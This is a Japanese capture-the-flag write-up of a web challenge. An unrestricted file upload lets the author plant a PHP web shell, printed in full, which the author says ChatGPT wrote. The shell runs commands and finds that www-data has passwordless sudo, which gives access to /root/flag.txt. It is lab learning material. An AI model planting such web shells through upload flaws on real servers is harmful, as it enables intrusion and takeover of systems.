問題よりわかっていること
- /rootディレクトリにフラグがある
- ファイルのアップロード機能があるWebサイト
問題文より推測できること
- /rootにアクセスするためのsudo権限が必要である可能性高い
Webサイト調査
- ForbiddenとNotFoundは吐く
- ウェブルートをrootとして、/uploads/以下にアップロードされる
- ファイルアップロード後のupload.phpによる表示より
- ディレクトリトラバーサル(/../../../root/flag)は対策済み
- 画像以外のファイルも受け付けてくれる
- 試しに適当なmp3投げてみると、音楽を再生できた
WebShellを置いてみる
拡張子がphpのファイルをしっかりWebサーバがPHPとして実行してくれた。
WebShellはChatGPTにサクッと作ってもらった。
見て分かる通り、Getメソッドで/uploads/webshell.php?cmd=ls /
のように渡してもらえば、コマンド実行結果が返ってくる。
webshell.php
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
コマンド実行による調査
whoami
--> www-data
ユーザ権限で動作
sudo ls
--> エラーを吐かずに結果が返ってくる
sudo cat /etc/sudoers
--> 最後の行にwww-data ALL=(ALL) NOPASSWD:ALL
が記載! 何があったんだ
sudo ls /root
--> flag.txtが存在
解答
WebShellを作成して、sudo /root/flag.txt